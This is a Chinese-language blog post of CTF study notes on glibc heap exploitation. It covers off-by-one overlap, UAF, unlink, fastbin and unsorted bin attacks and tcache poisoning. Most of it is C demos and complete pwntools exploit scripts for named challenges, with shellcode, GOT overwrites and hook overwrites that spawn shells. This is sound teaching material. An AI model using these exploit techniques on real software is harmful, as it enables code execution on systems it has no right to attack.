堆学习_remake

记录内容借鉴来源https://www.yuque.com/cyberangel/rg9gdm/vsh3kd

OFF-BY-ONE——overlap/extend

溢出一个可控字节从而且更改chunk的大小以及状态(即insure位)

可以造成堆重叠的效果这里就联合overlap,extend一起记录

1.对insure的fastbin chunk的extend

demo

1
2
3
4
5
6
7
8
9
10
11
//gcc -g test1.c -o test1
#include<stdio.h>
int main(void){
void *p, *q;
p = malloc(0x10);//分配第一个0x10的chunk
malloc(0x10);//分配第二个0x10的chunk
*(long long *)((long long)p - 0x8) = 0x41;// 修改第一个块的size域
free(p);
q = malloc(0x30);// 实现extend,控制了第二个块的内容
return 0;
}

2.对 inuse 的 smallbin 进行 extend

demo

1
2
3
4
5
6
7
8
9
10
11
12
//gcc -g test2.c -o test2
#include<stdio.h>
int main()
{首先在第9行下断点b 9,我们看一下申请完三个chunk之后内存中的样子:
void *p, *q;
p = malloc(0x80);//分配第一个 0x80 的chunk1
malloc(0x10); //分配第二个 0x10 的chunk2
malloc(0x10); //防止与top chunk合并
*(long *)((long)p-0x8) = 0xb1;
free(p);
q = malloc(0xa0);
}

3.对 free 的 smallbin 进行 extend

demo

1
2
3
4
5
6
7
8
9
10
11
//gcc -g test3 -o test3
#include<stdio.h>
int main()
{
void *p, *q;
p = malloc(0x80);//分配第一个0x80的chunk1
malloc(0x10);//分配第二个0x10的chunk2
free(p);//首先进行释放,使得chunk1进入unsorted bin
*(long *)((long)p - 0x8) = 0xb1;
q = malloc(0xa0);
}

4.通过 extend 后向 overlapping

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
//gcc -g test4.c -o test4
#include<stdio.h>
int main()
{
void *p, *q;
p = malloc(0x80);//分配第1个 0x80 的chunk1
malloc(0x10); //分配第2个 0x10 的chunk2
malloc(0x10); //分配第3个 0x10 的chunk3
malloc(0x10); //分配第4个 0x10 的chunk4
*(long *)((long)p - 0x8) = 0x61;
free(p);
q = malloc(0x50);
}

5.通过 extend 前向 overlapping

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//gcc -g test5.c -o test5
#include<stdio.h>
int main(void)
{
void *p, *q, *r, *t;
p = malloc(128);//smallbin1
q = malloc(0x10);//fastbin1
r = malloc(0x10);//fastbin2
t = malloc(128);//smallbin2
malloc(0x10);//防止与top合并
free(p);
*(int *)((long long)t - 0x8) = 0x90;//修改pre_inuse域
*(int *)((long long)t - 0x10) = 0xd0;//修改pre_size域
free(t);//unlink进行前向extend
malloc(0x150);//占位块
}

以上操作都可以通过off-by-one实现,前向合并只需要分配0x x8大小的chunk

就可以控制pre_size同时配合off漏洞控制insure。

典例

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/hitcontraning_lab13

off by one 漏洞

题目的chunk拥有内容chunk和管理chunk,其中的管理chunk有有效

指针指向内容chunk,

我们利用off by one构造overlap形成堆复用,控制有效指针

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context(log_level='DEBUG')

p = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def create(size, content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)


def edit(idx, content):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil(":")
p.sendline(content)


def show(idx):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))


def delete(idx):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(str(idx))


create(0x18, "hollk")
create(0x10, "hollk")

edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")

delete(1)

create(0x30, p64(0) * 3 + p64(0x21) + p64(0x30) + p64(heap.got['free']))
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")

free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))

libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']

edit(1, p64(system_addr))
#gdb.attach(p)
delete(0)
#gdb.attach(p)
p.interactive()

UAF

由于free后未置空指针,导致的use after free

亦或是,因为在heaparry中含有free or not的标识,但是功能中

含有标识恢复的功能导致的uaf(祥云杯2021升级密码箱)

由于比较简单一般不会单独作为题目出现,往往结合别的漏洞复合使用

附件下载:
链接:https://pan.baidu.com/s/19StzpwizVbeyNEcY48XcFQ
提取码:oqlh

unsortedbin的unlink(基础)

unlink的公式如下

fd=point_addr-0x18

bk=point_addr-0x10

伪造chunk成功后会在下两次申请到的chunk申请到point_addr

以2014 HITCON stkof为例进行讲解:
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2014_hitcon_stkof
参考资料:
https://blog.csdn.net/qq_41202237/article/details/108481889 #主要思路
https://wzt.ac.cn/2018/10/16/s-pwn-project-4/ #payload来源
感谢@hollk师傅的文章
附件下载:
链接:https://pan.baidu.com/s/1tXTaLajFHdKB0Ofxnk8V4Q
提取码:z4p6

题目本身在edit的时候存在堆溢出,但是没有show所以需要构造

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
else:
p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140


def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')


def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')


def free(idx):
p.sendline('3')
p.sendline(str(idx))


def exp():
# trigger to malloc buffer for io function
alloc(0x100) # idx 1

alloc(0x30) # idx 2
# small chunk size inorder to trigger unlink
alloc(0x80) # idx 3
# a fake chunk at global[2]=head+16 who's size is 0x20
payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)
# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(3)
p.recvuntil('OK\n')
#gdb.attach(p)
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
stkof.got['atoi'])
edit(2, len(payload), payload)
# edit free@got to puts@plt
payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)

#free global[1] to leak puts addr
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))
# modify atoi@got to system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()


if __name__ == "__main__":
exp()

fastbin_attack中的fastbin_double_free

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include<stdio.h>
typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK;

CHUNK bss_chunk;

int main()
{
void *chunk1,*chunk2,*chunk3;
void *chunk_a,*chunk_b;

bss_chunk.size=0x21;
chunk1=malloc(0x10);
chunk2=malloc(0x10);

free(chunk1);
free(chunk2);
free(chunk1);

chunk_a=malloc(0x10);
*(long long *)chunk_a=&bss_chunk;
malloc(0x10);
malloc(0x10);
chunk_b=malloc(0x10);
printf("%p\n",chunk_b);
return 0;
}

典例

以iscc 2018的Write Some Paper为例进行讲解,不懂的可以看看上一节的内容
程序来源:https://github.com/mhzx020/Redirect
参考资料:https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/02/paper/
附件下载:
链接:https://pan.baidu.com/s/1pBxc_-8pqJr9MRlA2AvxHQ
提取码:2onz

简单题,给了后门,更改got表为后门地址,利用double更改指针就行了

epx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

myelf = ELF("./paper")
io = process(myelf.path)

def add_paper(num, index, content):
io.recv()
io.sendline("1")
io.recv()
io.sendline(str(index))
io.recv()
io.sendline(str(num))
io.recv()
io.sendline(content)

def del_paper(index):
io.recv()
io.sendline("2")
io.recv()
io.sendline(str(index))

add_paper(0x30, 1, "1")
add_paper(0x30, 2, "1")

#gdb.attach(io)

del_paper(1)
del_paper(2)
del_paper(1)

#gdb.attach(io)

add_paper(0x30, 1, p64(0x60202a)) #chunk1
#gdb.attach(io)
add_paper(0x30, 1, "1")
#gdb.attach(io)
add_paper(0x30, 1, "1")
#gdb.attach(io)
add_paper(0x30, 1, "\x40\x00\x00\x00\x00\x00"+p64(myelf.symbols["gg"])) #0x60202a_chunk
#gdb.attach(io)

io.recv()
io.sendline("a")
#gdb.attach(io)
io.interactive()

fastbin_attack中的House of Spirit

利用思路

1伪造堆块
2覆盖堆指针指向上一步伪造的堆块
3释放堆块,将伪造的堆块放入fastbin的单链表里面(需要绕过检测)
4申请堆块,将刚才释放的堆块申请出来,最终可以使得向目标区域中写入数据,以达到控制内存的目的。

典例

lctf2016_pwn200 https://gitee.com/LightInfection/ctf/tree/master

exp

在开始的money之后的输入存在栈溢出,而且没有’\x00’截断puts的时候就可以带出rbp

我们到时候利用栈溢出把rbp的位置改成fake_chunk的位置,接着利用fake chunk控制rip最后退出程序就可以执行shellcode

非常好的一道堆栈结合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#encoding:utf-8
from pwn import *

#r = remote('127.0.0.1', 6666)
p = process("./pwn200")

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

def pwn():
# gdb.attach(p, "b *0x400991")

data = shellcode.ljust(46, 'a')
data += 'bb'
p.send(data)
p.recvuntil('bb')
rbp_addr = p.recvuntil(', w')[:-3]
rbp_addr = u64(rbp_addr.ljust(8,'\x00'))
print hex(rbp_addr)

fake_addr = rbp_addr - 0x90
shellcode_addr = rbp_addr - 0x50
# 输入id伪造下一个堆块的size
p.recvuntil('id ~~?')
p.sendline('32')

p.recvuntil('money~')
data = p64(0) * 5 + p64(0x41) # 伪造堆块的size
data = data.ljust(0x38, '\x00') + p64(fake_addr) # 覆盖堆指针
p.send(data)

p.recvuntil('choice : ')
p.sendline('2') # 释放伪堆块进入fastbin

p.recvuntil('choice : ')
p.sendline('1')
p.recvuntil('long?')
p.sendline('48')
p.recvuntil('\n48\n') # 将伪堆块申请出来
data = 'a' * 0x18 + p64(shellcode_addr) # 将eip修改为shellcode的地址
data = data.ljust(48, '\x00')
p.send(data)
p.recvuntil('choice : ')
p.sendline('3') # 退出返回时回去执行shellcode

p.interactive()

if __name__ == '__main__':
pwn()

fastbin_attack中的Alloc to Stack

参考资料:https://wiki.x10sec.org/pwn/heap/fastbin_attack/#alloc-to-stack
https://xz.aliyun.com/t/7490
附件下载:
链接: https://pan.baidu.com/s/1dplP_JkSdl9M7F9sUEDVeQ 密码: mbht
–来自百度网盘超级会员V3的分享

fastbin_attack中的Arbitrary Alloc

参考资料:
https://wiki.x10sec.org/pwn/heap/fastbin_attack/#arbitrary-alloc
附件:
链接: https://pan.baidu.com/s/18qfkOMauvySSfHkSLjIvvQ 密码: 911k
–来自百度网盘超级会员V3的分享

典例

fastbin_attack中的Arbitrary Alloc(例题)

题目来源:0ctf 2017 BabyHeap
参考资料:
https://blog.csdn.net/qq_36495104/article/details/106202135 #思路
CTF-wiki
https://www.yuque.com/hxfqg9/bin/bp97ri#sKWXZ #payload
https://blog.csdn.net/counsellor/article/details/81543197 #关闭地址随机化

附件:
链接: https://pan.baidu.com/s/1uG2cfQae0iwULtYvRmEBIw 密码: f1i6
–来自百度网盘超级会员V3的分享

漏洞在edit存在堆溢出,堆溢出,打fastbin

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
r=process('./babyheap_0ctf_2017')
context.log_level='debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size):
r.recv()
r.sendline(str(1))
r.recv()
r.sendline(str(size))
def fill(idx,con):
r.recv()
r.sendline(str(2))
r.recv()
r.sendline(str(idx))
r.recv()
r.sendline(str(len(con)))
r.recv()
r.send(str(con))
def show(idx):
r.recv()
r.sendline(str(4))
r.recv()
r.sendline(str(idx))

def dele(idx):
r.recv()
r.sendline(str(3))
r.recv()
r.sendline(str(idx))

add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3
add(0x80)#4

dele(1)
dele(2)

payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0,payload)
payload=p64(0)*3+p64(0x21)
fill(3,payload)
add(0x10)
add(0x10)
payload=p64(0)*3+p64(0x91)
fill(3,payload)
add(0x80)#overlap
dele(4)
show(2)
r.recvuntil('Content: \n')
leak=u64(r.recv(6).ljust(8,'\x00'))
log.info("leak"+hex(leak))
base=leak-0x3c4b78
sys=base+libc.sym["system"]
binsh=base+libc.search("/bin/sh\x00").next()
free=base+libc.sym["__free_hook"]
malloc=base+libc.sym['__malloc_hook']
#gdb.attach(r)
add(0x60)
#gdb.attach(r)
dele(4)
#gdb.attach(r)
fill(2,p64(malloc-0x23))
#gdb.attach(r)
add(0x60)#index4
add(0x60)#index6
payload = p8(0)*3
payload += p64(0)*2
payload += p64(base+0x4527a)
fill(6, payload)
add(0x255)
#gdb.attach(r)
r.interactive()

unsortedbin_attack

题目来源:HITCON Training lab14 magic heap
附件:
链接: https://pan.baidu.com/s/1xtxgobatE9yWFKkEsL6JLg 密码: 44km
–来自百度网盘超级会员V3的分享

白给题堆溢出,没开PIE直接打unsortedbin改bk

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
r = process('./magicheap')


def create_heap(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def edit_heap(idx, size, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def del_heap(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))


create_heap(0x20, "1111") # 0 size=0x20=32
create_heap(0x80, "2222") # 1 size=0x80=128
# in order not to merge into top chunk
create_heap(0x20, "3333") # 2
#gdb.attach(r)
del_heap(1)
#gdb.attach(r)
magic = 0x6020c0
fd = 0
bk = magic - 0x10

edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
#gdb.attach(r)
create_heap(0x80, "4444") #trigger unsorted bin attack
#gdb.attach(r)
r.recvuntil(":")
r.sendline("4869")
r.interactive()

Tcache Attack中的Tcache Poisoning

tcache poisoning的基本原理是覆盖tcache中的next域为目标地址,通过malloc来控制任意地址。
这种攻击方法不需要伪造任何的chunk结构。

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//gcc -g -fno-stack-protector -z execstack -no-pie -z norelro test.c -o test
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
size_t stack_var;
printf("定义了一个变量 stack_var,我们想让程序 malloc 到这里 %p.\n", (char *)&stack_var);

printf("接下来申请两个 chunk\n");
intptr_t *a = malloc(128);
printf("chunk a 在: %p\n", a);
intptr_t *b = malloc(128);
printf("chunk b 在: %p\n", b);

printf("free 掉这两个 chunk\n");
free(a);
free(b);

printf("现在 tcache 那个链表是这样的 [ %p -> %p ].\n", b, a);
printf("我们把 %p 的前 %lu 字节(也就是 fd/next 指针)改成 stack_var 的地址:%p", b, sizeof(intptr_t), &stack_var);
b[0] = (intptr_t)&stack_var;
printf("现在 tcache 链表是这样的 [ %p -> %p ].\n", b, &stack_var);

printf("然后一次 malloc : %p\n", malloc(128));
printf("现在 tcache 链表是这样的 [ %p ].\n", &stack_var);

intptr_t *c = malloc(128);
printf("第二次 malloc: %p\n", c);
printf("Finish!\n");

return 0;
}

典例

参考资料:
https://faraz.faith/2019-10-20-secconctf-2019-one/
https://github.com/SECCON/SECCON2019_online_CTF
题目来源:SECCON 2019 Online CTF: one (pwn, heap, glibc-2.27)
附件下载:
链接:https://pan.baidu.com/s/1nDee9BZ1RMhl3bfjHPSjsA 密码: 8qjs
–来自百度网盘超级会员V3的分享

题目就一个UAF非常简单,Ubuntu18的2.27版本,double free都不用去改bk上的key,也不用去中间free个别的直接freeok

直接改fd控制unsortedbin泄露libc打free_hook

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#!/usr/bin/env python2

from pwn import *
#context.log_level = 'debug'
BINARY = './one'
HOST, PORT = 'one.chal.seccon.jp', 18357

elf = ELF(BINARY)
libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc.so.6')

def start():
if not args.REMOTE:
#print "LOCAL PROCESS"
return process(BINARY)
else:
#print "REMOTE PROCESS"
return remote(HOST, PORT)

def get_base_address(proc):
return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)

def debug(breakpoints):
script = "handle SIGALRM ignore\n"
PIE = get_base_address(p)
script += "set $_base = 0x{:x}\n".format(PIE)
for bp in breakpoints:
script += "b *0x%x\n"%(PIE+bp)
gdb.attach(p,gdbscript=script)

def add(content):
p.sendlineafter('> ', '1')
p.sendlineafter('> ', content)

def show():
p.sendlineafter('> ', '2')

def free():
p.sendlineafter('> ', '3')

#context.terminal = ['tmux', 'new-window']

p = start()
if args.GDB:
debug([])

# ----------- Heap Leak ------------
# Prepare
add('A'*0x3e)

# We do four frees to set the 0x40 tcache bin count to 4
for i in range(4):
free()
#gdb.attach(p)
# Leak the fourth chunk's address on the heap
show()
heap_leak = u64(p.recvline().strip(b'\n').ljust(8, b'\x00'))
log.info('Heap leak: ' + hex(heap_leak))

# ----------- Libc Leak ------------
# Empty the 0x40 tcache bin first
add(p64(0) + b'A'*8) # Set FD to null here
add('A'*8) # 0x40 tcache bin now empty
# Note that after the above, the 0x40 tcache bin will have count = 2
# Create four chunks to prep for libc leak
# Make all of them have fake chunks in them with PREV_INUSE bits set
# And make all of them have valid FD pointers as well
add(p64(0) + p64(0x91)+(p64(heap_leak) + p64(0)) )


for i in range(4):
add(p64(0)*4)
#gdb.attach(p)
# Double free the last chunk
free() # count = 3
#gdb.attach(p)

free() # count = 4
#gdb.attach(p)

# Set FD to one of the fake 0x91 chunks
add(p64(heap_leak + 0x60)) # count = 3
#gdb.attach(p)
#gdb.attach(p)

add('A'*8) # count = 2
#gdb.attach(p)

add('A'*8) # Got a 0x91 chunk, count = 1
#gdb.attach(p)


# Free 7 times to fill up tcache bin, 8th one goes into unsorted bin
for i in range(8):
free()

# Unsorted bin libc leak
show()
leak = u64(p.recvline().strip(b'\n').ljust(8, b'\x00'))
libc.address = leak - 0x3ebca0 # Offset found using gdb
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']

log.info('Libc leak: ' + hex(leak))
log.info('Libc base: ' + hex(libc.address))
log.info('__free_hook: ' + hex(free_hook))
log.info('system: ' + hex(system))

# Tcache poisoning attack to overwrite __free_hook with system
add('A'*8) # count = 0
free()
free()

# Overwrite __free_hook with system
add(p64(free_hook))
add(p64(free_hook))
#add(p64(system))
one_gadget=[0x4f365,0x4f3c2,0x10a45c]
payload=one_gadget[1]+libc.address
add(p64(payload))

# Call system("/bin/sh\x00")
#add('/bin/sh\x00')
free()
p.interactive()

Tcache Attack中的tcache_perthread_struct

参考资料:
https://www.cnblogs.com/Theffth-blog/p/12790720.html
https://blog.csdn.net/weixin_43833642/article/details/107166551
题目来源:BUUCTF-[V&N2020 公开赛]easyTHeap
附件:
链接:https://pan.baidu.com/s/1T1pV_mbUEPXCg-vlu_Yw7w 密码: 5fnk
–来自百度网盘超级会员V3的分享

chunk大小小于0x100

UAF漏洞double free 泄露heap改tcache得到unsortedbin泄露libc直接随便玩

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#! /usr/bin/env python
from pwn import *

p = process('./vn_pwn_easyTHeap')
#p = remote('node3.buuoj.cn', 25389)
elf = ELF('./vn_pwn_easyTHeap')
libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc.so.6')

def new(size):
p.sendlineafter('choice: ', '1')
p.sendlineafter('size?', str(size))

def edit(index, content):
p.sendlineafter('choice: ', '2')
p.sendlineafter('idx?', str(index))
p.sendlineafter('content:', content)

def show(index):
p.sendlineafter('choice: ', '3')
p.sendlineafter('idx?', str(index))

def delete(index):
p.sendlineafter('choice: ', '4')
p.sendlineafter('idx?', str(index))

new(0x50) #0
delete(0)
delete(0)
show(0)
heap_base = u64(p.recvuntil(b'\n', drop = True).ljust(8, b'\x00'))
#print hex(heap_base)
new(0x50) #1
edit(1, p64(heap_base - 0x250))
new(0x50) #2
new(0x50) #3
edit(3, 'a' * 0x28)
gdb.attach(p)
delete(3)
show(3)
libc_base = u64(p.recvuntil(b'\n', drop = True).ljust(8, b'\x00')) - 0x3ebca0
#print hex(libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['__libc_realloc']
one_gadget=[0x4f365,0x4f3c2,0x10a45c]
one = libc_base + one_gadget[2]
new(0x50)
edit(4, b'b' * 0x48 + p64(malloc_hook - 0x13))
new(0x20)
edit(5, b'\x00' * (0x13 - 0x8) + p64(one) + p64(realloc + 8))
new(0x10)
p.interactive()

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2022 H.greed
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信